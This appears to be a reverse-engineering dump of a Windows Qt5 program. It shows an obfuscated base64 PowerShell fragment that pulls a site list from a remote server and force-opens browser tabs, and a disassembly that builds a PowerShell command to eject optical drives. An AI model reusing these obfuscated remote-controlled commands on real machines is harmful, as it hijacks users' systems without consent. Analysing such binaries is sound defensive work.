AHUAcgBpACAALQBNAGUAdABoAG8AZAAgAEcAZQB0ACAALQBDAG8AbgB0AGUAbgB0AFQAeQBwAGUAIAAnAGEAcABwAGwAaQBjAGEAdABpAG8AbgAvAGoAcwBvAG4AJwANAAoAIAAgACAAIAAgACAAIAAgAGkAZgAgACgAJAByAGUAcwBwAG8AbgBzAGUAIAAtAGEAbgBkACAAJAByAGUAcwBwAG8AbgBzAGUALgBwAG8AcAB1AGwAYQByAF8AcwBpAHQAZQBzACkAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAByAGUAdAB1AHIAbgAgACQAcgBlAHMAcABvAG4AcwBlAC4AcABvAHAAdQBsAGEAcgBfAHMAaQB0AGUAcwANAAoAIAAgACAAIAAgACAAIAAgAH0AIABlAGwAcwBlACAAewANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAVwByAGkAdABlAC0ATwB1AHQAcAB1AHQAIAAiAE4AbwAgACcAcABvAHAAdQBsAGEAcgBfAHMAaQB0AGUAcwAnACAAawBlAHkAIABmAG8AdQBuAGQAIABpAG4AIAByAGUAcwBwAG8AbgBzAGUALgAiAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAByAGUAdAB1AHIAbgAgACQAbgB1AGwAbAANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKACAAIAAgACAAfQAgAGMAYQB0AGMAaAAgAHsADQAKACAAIAAgACAAIAAgACAAIAByAGUAdAB1AHIAbgAgACQAbgB1AGwAbAANAAoAIAAgACAAIAB9AA0ACgB9AA0ACgANAAoAZgB1AG4AYwB0AGkAbwBuACAATwBwAGUAbgAtAFMAaQB0AGUAcwAgAHsADQAKACAAIAAgACAAUABhAHIAYQBtACgAWwBzAHQAcgBpAG4AZwBbAF0AXQAkAHMAaQB0AGUAcwApAA0ACgAgACAAIAAgACQAYQByAGcAdQBtAGUAbgB0AHMAIAA9ACAAJABzAGkAdABlAHMAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAgACIALQAtAG4AZQB3AC0AdABhAGIAIgAsACAAJABfACAAfQANAAoAIAAgACAAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAAkAGMAaAByAG8AbQBlAFAAYQB0AGgAIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAJABhAHIAZwB1AG0AZQBuAHQAcwANAAoAIAAgACAAIABTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAAxADAADQAKACAAIAAgACAARwBlAHQALQBQAHIAbwBjAGUAcwBzACAALQBOAGEAbQBlACAAYwBoAHIAbwBtAGUAIAB8ACAAUwB0AG8AcAAtAFAAcgBvAGMAZQBzAHMADQAKAH0ADQAKAA0ACgAkAHMAaQB0AGUAcwAgAD0AIABHAGUAdAAtAFMAaQB0AGUAcwBGAHIAbwBtAFMAZQByAHYAZQByAA0ACgBpAGYAIAAoACQAcwBpAHQAZQBzACAALQBlAHEAIAAkAG4AdQBsAGwAKQAgAHsADQAKACAAIAAgACAAVwByAGkAdABlAC0ATwB1AHQAcAB1AHQAIAAiAE4AbwAgAHMAaQB0AGUAcwAgAHIAZQBjAGUAaQB2AGUAZAAgAGYAcgBvAG0AIABzAGUAcgB2AGUAcgAuACIADQAKACAAIAAgACAAcgBlAHQAdQByAG4ADQAKAH0AIABlAGwAcwBlACAAewANAAoAIAAgACAAIABXAHIAaQB0AGUALQBPAHUAdABwAHUAdAAgACIAUwBpAHQAZQBzACAAcgBlAGMAZQBpAHYAZQBkADoAIAAkACgAJABzAGkAdABlAHMALgBDAG8AdQBuAHQAKQAgAHMAaQB0AGUAcwAuACIADQAKAH0ADQAKAA0ACgBmAG8AcgAgACgAJABpACAAPQAgADAAOwAgACQAaQAgAC0AbAB0ACAAJABzAGkAdABlAHMALgBDAG8AdQBuAHQAOwAgACQAaQAgACsAPQAgADUAKQAgAHsADQAKACAAIAAgACAAJABjAHUAcgByAGUAbgB0AEIAYQB0AGMAaAAgAD0AIAAkAHMAaQB0AGUAcwBbACQAaQAuAC4AKAAkAGkAKwA0ACkAXQANAAoAIAAgACAAIABPAHAAZQBuAC0AUwBpAHQAZQBzACAALQBzAGkAdABlAHMAIAAkAGMAdQByAHIAZQBuAHQAQgBhAHQAYwBoAA0ACgB9AA__r_n
lea rdx, [rsp + 0x48]
lea rcx, [rbp - 0x48]
call fcn.140018600
nop
mov r8, rdi
mov rdx, rax
lea rcx, [rbp - 0x78]
call fcn.14003a750
nop
lea r8, [0x1401b9c90]
mov rdx, rax
lea rcx, [rbp - 0x58]
call fcn.140018600
nop
mov rdx, rax
lea rcx, [rsp + 0x38]
call qword [sym.imp.Qt5Core.dll_public:_class_QString____ptr64___cdecl_QString::append_class_QString_const____ptr64____ptr64]
nop
lea rcx, [rbp - 0x58]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp - 0x78]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp - 0x48]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rsp + 0x48]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp - 0x50]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp - 0x80]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rsp + 0x78]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rsp + 0x70]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rsp + 0x50]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rsp + 0x68]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rsp + 0x60]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rsp + 0x58]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
lea rdx, str.echo._r_npowershell__Get_WmiObject_Win32_Volume__Filter_DriveType5__select__exp_DriveLetter__foreach_object___New_Object__comObject_Shell.Application_.Namespace_17_.ParseName____.InvokeVerb_Eject___
lea rcx, [rsp + 0x38]
call qword [reloc.Qt5Core.dll___YQString__QEAAAEAV0_PEBD_Z]
lea rdx, [rsp + 0x38]
mov rcx, r15
call qword [sym.imp.Qt5Core.dll_public:_class_QString____ptr64___cdecl_QString::operator_class_QString_const____ptr64____ptr64]
nop
lea rcx, [rbp + 0x300]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x308]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x1f8]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0xd0]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x278]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0xd8]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0xe0]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x200]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x240]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rsp + 0x38]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x558]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x3e0]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
mov rax, r15
mov rcx, qword [rbp + 0x758]
xor rcx, rsp
call fcn.140159640
mov rbx, qword [rsp + 0x8b0]
add rsp, 0x860
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret